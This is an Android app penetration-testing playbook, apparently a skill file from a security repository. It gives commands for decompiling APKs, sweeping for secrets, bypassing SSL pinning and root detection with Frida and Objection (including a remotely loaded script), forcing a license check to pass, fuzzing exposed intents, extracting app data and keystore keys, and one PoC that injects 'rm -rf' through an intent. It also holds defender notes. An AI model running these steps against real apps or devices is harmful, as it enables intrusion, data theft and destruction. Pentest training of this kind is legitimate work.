mobile-android
Android APK pentest workflow — apktool/jadx static, Frida dynamic instrumentation, SSL pinning bypass, root detection bypass, intent fuzzing, keystore extraction.
- License 许可
- Apache-2.0
- 所属仓库
- Akapi895/raptix
- 最近更新
- 2026-11-06
- Stars
- ★ 0
- Forks
- 0
01 前言 Front Matter
- name
- mobile-android
- metadata
- { "subdomain": "mobile", "when_to_use": "android apk apk-extract jadx apktool frida objection mobsf ssl pinning root detect intent webview", "mitre_attack": "T1517, T1640, T1418, T1409", "upstream_refs": [ "https://github.com/skylot/jadx", "https://github.com/frida/frida", "https://github.com/sensepost/objection", "https://github.com/MobSF/Mobile-Security-Framework-MobSF", "https://github.com/ImKKingshuk/LockKnife" ] }
- description
- Android APK pentest workflow — apktool/jadx static, Frida dynamic instrumentation, SSL pinning bypass, root detection bypass, intent fuzzing, keystore extraction.
03 SKILL.md 正文
Android Pentest Playbook
Static decompile (apktool/jadx/MobSF) to map exported components, hardcoded secrets, and insecure storage, then Frida/Objection for SSL-pinning and root-detection bypass once the attack surface is known. For a Unity IL2CPP game APK specifically, use
mobile/android/il2cpp/SKILL.mdinstead — jadx/apktool expose nothing of the native game logic there.
Prerequisites
adb+ a rooted device or emulator (required forrun-asdata pulls, Frida server push, and Magisk-based tooling likemagisk-trust-user-certs).- Tools:
apktool,jadx(jadx-guifor interactive use),dex2jar,jd-gui,androguard,apkanalyzer/aapt, MobSF (docker run ... opensecurity/mobile-security-framework-mobsf). - Dynamic:
frida-server(device-side) +frida/objection(host). - Proxy: Burp Suite Community or mitmproxy, with the root CA installed on the device for TLS interception.
drozerfor IPC/content-provider testing,abe.jarforadb backupunpacking,apkleaksfor static secret sweeps.
1. Static — decompile + inspect
Pull APK
# Listed apps on connected device
adb shell pm list packages -3 # third-party only
adb shell pm path com.target.app # find APK path
adb pull /data/app/.../base.apk /tmp/
# Or from Google Play
gplaycli -d com.target.app -f /tmp/ # CLI Play store dump
# Or from third-party APK mirrors (apkpure / apkmirror)
Decompile
# Smali (low-level)
apktool d base.apk -o /tmp/apk-smali
# Java pseudo-code (jadx)
jadx --output-dir /tmp/apk-java base.apk
# Or jadx-gui for interactive
# Combine for full picture
MobSF automated triage
docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf
# Upload APK via web UI, get full report
Manifest review
apkanalyzer manifest print base.apk
# OR
aapt dump xmltree base.apk AndroidManifest.xml | head -50
# Critical signals:
# - android:debuggable="true" → debugger attachable
# - android:allowBackup="true" → adb backup possible w/o root
# - android:exported="true" w/o perm → exposed component
# - <uses-permission> SMS/CAMERA/MIC reach → privacy risk
# - <intent-filter> w/ "android.intent.action.VIEW" + custom scheme → deeplink
# - networkSecurityConfig: cleartextTrafficPermitted="true" → MITM-friendly
Secrets sweep
# Hardcoded keys in smali / java code
grep -rn 'api[_-]?key\|secret\|password' /tmp/apk-java/ | head -20
# Strings + entropy
strings -a base.apk | grep -E 'eyJhbGc|^[A-Za-z0-9+/]{30,}={0,2}$' | head
# AndroGuard for deep static
androguard analyze base.apk
2. Dynamic — Frida + Objection
Setup
# Push frida-server (rooted device / emulator)
adb push frida-server-16.x.x-android-arm64 /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/frida-server && /data/local/tmp/frida-server &"
# Or use Magisk module on prod devices
Bypass SSL pinning (Frida codeshare scripts)
frida -U -l https://codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida/ -f com.target.app
# Or Objection's built-in
objection -g com.target.app explore
> android sslpinning disable
Bypass root detection
objection -g com.target.app explore
> android root disable
# Or via Frida script — patches common checks (RootBeer, SafetyNet)
Intercept TLS
# Burp or mitmproxy w/ root CA installed on device (or magisk-trust-user-certs)
# Then re-launch app — traffic visible in proxy
Hook arbitrary functions
// Frida script — hook a class method
Java.perform(function() {
var Auth = Java.use("com.target.app.AuthManager");
Auth.checkLicense.implementation = function() {
console.log("checkLicense called, returning true");
return true;
};
});
3. Common Android-specific attack surface
3.1 Insecure deeplinks / intents
# Test exposed activity
adb shell am start -n com.target.app/com.target.app.MainActivity \
-a android.intent.action.VIEW -d "myapp://attacker-controlled-url"
# Test exposed service / broadcast
adb shell am startservice -n com.target.app/.ExposedService --es extra "value"
adb shell am broadcast -a com.target.app.ACTION_X --ei param 999
3.2 WebView vulnerabilities
setJavaScriptEnabled(true)+addJavascriptInterface()w/o@JavascriptInterfaceannotation → arbitrary Java method exec from JSsetAllowFileAccessFromFileURLs(true)→ file:// URL XSS reads local files- Custom URL scheme handlers w/o validation
3.3 Insecure storage
# Pull app data (rooted)
adb shell run-as com.target.app cat /data/data/com.target.app/shared_prefs/Auth.xml
# SQLite DBs
adb shell run-as com.target.app sqlite3 /data/data/com.target.app/databases/main.db ".dump"
3.4 Keystore extraction
Android Keystore is supposed to be hardware-backed. On rooted devices or devices w/ keystore bugs, keys extractable via:
- Frida hooks on
KeyStore.getKey() - LockKnife-style memory dump (https://github.com/ImKKingshuk/LockKnife)
- TEE exploitation (rare, advanced)
3.5 PIN brute / passkey
Android 14+ passkey biometric flow — LockKnife exploits Android pre-A14 keystore quirks. Modern Android raises the bar significantly.
3.6 Backup-restore confusion
If allowBackup=true:
adb backup com.target.app
# Pull backup, extract w/ android-backup-extractor (abe.jar)
java -jar abe.jar unpack backup.ab backup.tar
tar xvf backup.tar
4. Tools cheat-sheet
| Tool | Use |
|---|---|
apktool |
Smali decompile + repack |
jadx |
Java pseudo-code, GUI |
androguard |
Static API analysis library |
MobSF |
Web-UI automated triage |
Frida |
Runtime instrumentation |
Objection |
Frida-based REPL for common tasks |
drozer |
IPC + content provider testing |
LockKnife |
Credential extraction (forensics) |
abe.jar |
Backup unpacking |
apkleaks |
Static secret sweep |
apksigner |
APK signature analysis |
bytecode-viewer |
Multi-decompiler GUI |
5. PoC framing
- Demonstrate API key extraction from static APK → use key to access backend
- Demonstrate SSL pinning bypass + traffic capture → show sensitive data over TLS-MITM'd connection
- Demonstrate exposed component RCE →
adb shell am start -n ... --es cmd 'rm -rf' - Document
allowBackup=true+ sensitive data extraction post-backup
6. Severity
| Bug | Severity |
|---|---|
| Hardcoded API key w/ admin scope | Critical 9.0 |
| Exposed activity → arbitrary intent injection | Critical 9.0 |
WebView addJavascriptInterface → RCE in app context |
Critical 9.0 |
| SSL pinning bypass + sensitive endpoint | High 8.0 |
| Backup extracts auth tokens | High 7-8 |
| Root detection bypass alone | Informational |
| Deeplink takeover (registered scheme) | High-Critical depending on flow |
7. Defender
- ProGuard / R8 obfuscation (raises bar; not security)
- Native code for cryptographic primitives + key derivation
- Hardware-backed Keystore (StrongBox where available)
- Network Security Config: cleartext denied, custom CA refusal
- SafetyNet / Play Integrity API for tamper detection
- Custom SSL pinning (not via system trust store)
Cross-references
- Operator's
android-reglobal skill (Raptix-external) - Reverser binary triage:
skills/reverser/triage/SKILL.md - Cipher/key extraction:
skills/exploit/crypto/SKILL.md
Known exemplars
- 2019: Multiple banking apps disclosed for SSL pinning bypass — $5-15k bounties
- 2021: Multiple Android apps w/ exposed activity RCE chains
- LockKnife (2024): Android forensics credential extraction tool
- Routine: hardcoded Firebase URLs + permissive rules → full DB read
04 同仓库更多 Skills
wps-pixie-dust
WPS Pixie-Dust offline nonce attack (reaver -K / pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.
wpa3-sae
WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.
wpa2-psk
WPA/WPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer/SMB encryption mode in 2026.
wpa-enterprise-eap
WPA/WPA2/WPA3-Enterprise (802.1X/EAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.
krack-fragattacks
KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation/aggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.
evil-twin-karma
Evil-twin rogue AP with KARMA/Mana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK/open networks. Distinct from wpa-enterprise-eap which targets 802.1X.